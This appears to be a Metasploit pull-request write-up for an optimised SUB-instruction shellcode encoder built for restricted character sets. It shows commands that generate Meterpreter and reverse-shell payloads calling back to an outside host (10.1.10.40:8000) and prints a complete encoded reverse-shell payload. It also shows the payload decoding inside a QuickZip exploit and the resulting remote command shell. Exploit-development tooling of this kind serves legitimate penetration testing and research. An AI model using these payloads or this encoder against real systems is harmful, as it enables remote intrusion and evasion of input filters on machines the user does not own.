Optimised SUB Encoder

During the course of the CTP labs I learned about a crazy way to do encoding with a very limited character set using a series of SUB instructions. I noticed that this encoding method has been made available in MSF before (add_sub.rb), is available in Mona.py, and Muts himself has even presented on the topic in public.

However, I found that this encoding method isn't as optimal as it could be. The basic premise of the encoding is:

* Figure out a set of valid characters for the exploit.
* Pick a register that contains an address that helps locating the payload.
* Push that register onto the stack, and pop into EAX.
* Adjust the EAX value to point to a safe location after the payload with enough space between it and the end of the payload for the decoded payload to fit.
* Push this value to ESP, then pop into ESP so that the stack points to the bottom of this memory area.
* Do a series of `AND EAX, <value>` instructions to clear EAX, then do 3 `SUB EAX, <value>` instructions which generate values in EAX that match the require decoded payload bytes.
* `PUSH EAX` so that the bytes get written to the stack, which is the area below the payload.
* Keep performing the above until the entire payload is decoded, then continue on and run the decoded instructions.

It's like magic! Very clever stuff.

However, when I learned about this method I realised that it was constructed and taught in such a way that made it easy for the person to do manually. By that, I mean that `EAX` was being zeroed-out each time because it's easier to perform the calculation starting at zero. However, computers are better at mundane/tedious things that fleshware is, and hence an automated encoder shouldn't have to set `EAX` to zero each time, because it could (should) manage to calculate based on the previous instruction. This small change means that 10 bytes per 4-byte decoded block are saved, resulting in payloads that are (on average) around 30% smaller than with the current approach. From my testing, I am yet to find a case where the encoder isn't able to calculate instructions without resetting `EAX` to zero.

This encoder is the result of me porting my Win32 utility which does this optimised SUB encoding to MSF so that it can be enjoyed by others.

I recently used this approach to great effect in an exploit I was working on. This required characters that were valid for inclusion in a file path, and hence this encoder was a perfect fit. This new encoder has a few other settings that are worth mentioning:

* `ValidCharSet` - can be `alpha`, `alphanum` or `filepath`. I'm not sure if this should stay in there, but I thought having some pre-defined useful charsets for this encoder would make sense given that it's primary focus is on very restricted char sets. If this isn't specified then it defaults to a full char set as per normal. It also supports the `-b` switch that removes characters from the resulting set regardless of which character set is chosen up front.
* `OverwriteProtect` - a boolean that defaults to `false`. This is here so that you can easily add a `SUB ESP, 0x20` instruction to the head of the payload to push ESP away to avoid having the top of the payload smashed while it's being run due to the FSTENV dance which is used to figure out the current location in memory.

The existing `BufferRegister` and `BufferOffset` instructions are reused and have the same meaning as for the other encoders. This also does the 4-byte alignment for you by prepending `NOP` instructions if required.

To show the difference it can make, I threw a Meterpreter payload at the current `add_sub` encoder as well as this new `opt_sub` encoder to see the difference. I put the payload in a separate file first:

```
$ msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.10.40 LPORT=8000 R > /tmp/met.bin
$ wc -c /tmp/met.bin
287 /tmp/met.bin
```

I had to manually align the payload to 4-bytes to keep `add_sub` happy, and the result is as follows (formatting added by me):
```
$ cat /tmp/met.bin | msfencode -t raw -e x86/add_sub BufferRegister=EDX BufferOffset=11 > /dev/null
[*] x86/add_sub succeeded with size 1891 (iteration=1)
```
If I throw the meterpreter payload direct at the new encoder this is the result:
```
$ cat /tmp/met.bin | msfencode -t raw -e x86/opt_sub BufferRegister=EDX BufferOffset=11 > /dev/null
[*] x86/opt_sub succeeded with size 1181 (iteration=1)
```
So we can see we've gone from `1891` bytes to `1181` bytes, which in this case is a saving of `710` bytes or `37.5%`. Big savings to be had!

Here's a sample plain reverse shell payload using the `filepath` character set and payload protection (formatting added by me):
```
$ msfpayload windows/shell_reverse_tcp LHOST=10.1.10.40 LPORT=8000 R | msfencode -t raw -e x86/opt_sub BufferRegister=EDX BufferOffset=11 ValidCharSet=filepath OverwriteProtect=true
[*] x86/opt_sub succeeded with size 1309 (iteration=1)

RX-V}}}-![aa-!!!!P\%!!!!%@@@@-}j}}-b!b}-!!!/P-}}M)-OB!!-!!!!
P-\&r}-!%!}-!!!(P-)C}$-!!!!-!!!!P-}}}}-{}V}-=H!jP-}9&7-}$!$-
F!!!P-}$}}-U!{}-!!=^P-}X5}-/!!R-!!!!P-}[Nt-}!!!-T!!!P-F}}}-!
NYX-!!!!P-}}}{-}Cs%-%!!!P-}}=z-{}!!-bT!!P-}C}}-}!k}-$!!OP-}}
6}-t}!K-!(!!P-}}}}-bq^i-!!!!P-}}}}-dWaY-!!!!P-}G}}-}!}s-J![!
P-}}y}-q{!}-!@!%P-{&}}-!!j}-!!!(P-}}}}-}}6{-h+!AP-6}}.-!Mo!-
!!!!P-}x}}-u!}}-!!-eP-}}}[-}/}!-]!S!P-V}3}-!}!U-!+!!P-}}+L-V
c!!-!!!!P-}}}}-{Z}}-%!k5P-/}F}-!_!}-!!!UP-}}}}-H}1.-!Q!!P-}}
}D-XX9!-!!!!P-}y}}-}$}b-I!c!P-}&}4-I!z!-!!=!P-6}{h-!w)!-!!!!
P-}W}L-}!1!-.!!!P-}}}}-RaQa-!!!!P-}}}7-G}}!-!UV!P-}U}}-}!7}-
!!![P-}}}}-}}}}-VDj0P-}U}}-}!$}-N!!ZP-PG}}-!!d}-!!!/P-}\p}-4
!!}-!!!dP-{}}}-AV{y-!!!!P-}0}}-}!}X-K!8!P-j]U}-!$!z-!!!=P-}}
}}-}3}}-2![MP-}gwI-}!!!-a!!!P-\E{}-!!bo-!!!!P-}}{}-}zbW-C=!!
P-}}}}-}}2x-)Y!!P-}}Bw-}}!!-4I!!P-}}}G-}}I!-N8!!P-}}}s-}.q!-
+!!!P-}$}5-p!m!-!!!!P-}}e}-E}!}-!G!MP-8d}$-$!=!-!!!!P-A}6e-!
}!!-!M!!P-2}}Z-!},!-!3!!P-}}&}-}f!4-[!!!P-9}[}-!$!}-!!!SP-}1
}}-_!}K-!!6!P-}}u}-}}!}-WS!PP-I}}u-!{}!-!$M!P-}}}}-/9J}-!!!M
P-}}}}-}}}{-GLMAP-}9}}-4!q=-!!!!P-5s}}-!!z}-!!=9P-}}}}-S}}e-
!JN!P-y}t}-$}!K-!9!!P-}Mf}-}!!}-W!!gP-}}}}-CgtD-!!!!P-}}}}-!
}.C-!J!!P-}y}}-}!}P-6![!P-}W9}-I!!}-!!!CP-z}}}-=_{}-!!)MP-}}
}}-I7\}-!!!1P-}}{9-}(%$-a!!!P-}}}w-}}(!-d+!!P-0}c}-!=!}-!!!&
P-}F}}-9!G}-!!!7P-[}}}-!Aex-!!!!P-}M)}-}!!}-b!!kP
```

Just to demonstrate that puppy in action, here's the result of this reverse shell payload appearing in memory in an exploit for QuickZip on x64 (WOW64):
![encoder-start](https://f.cloud.github.com/assets/28896/2184098/964370b6-97b9-11e3-9011-e82545b6a6e4.png)
Here's the start of the decoding routine when `ESP` has been adjusted:
![encoder-stack](https://f.cloud.github.com/assets/28896/2184099/9d6b84aa-97b9-11e3-8ffc-cfcb5daef33b.png)
And here's the memory area for the payload at the point that it has finished decoding:
![encoder-decoded](https://f.cloud.github.com/assets/28896/2184100/a2256cb8-97b9-11e3-8203-ba7f72314ff1.png)
And here's the shell:

```
Ncat: Connection from 10.1.10.32.
Ncat: Connection from 10.1.10.32:51231.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\OJ\AppData\Local\Temp\QZTEMP>
```
This is the first time I've worked on an encoder for MSF so please point out anything that is stupid about what I've done. Thanks!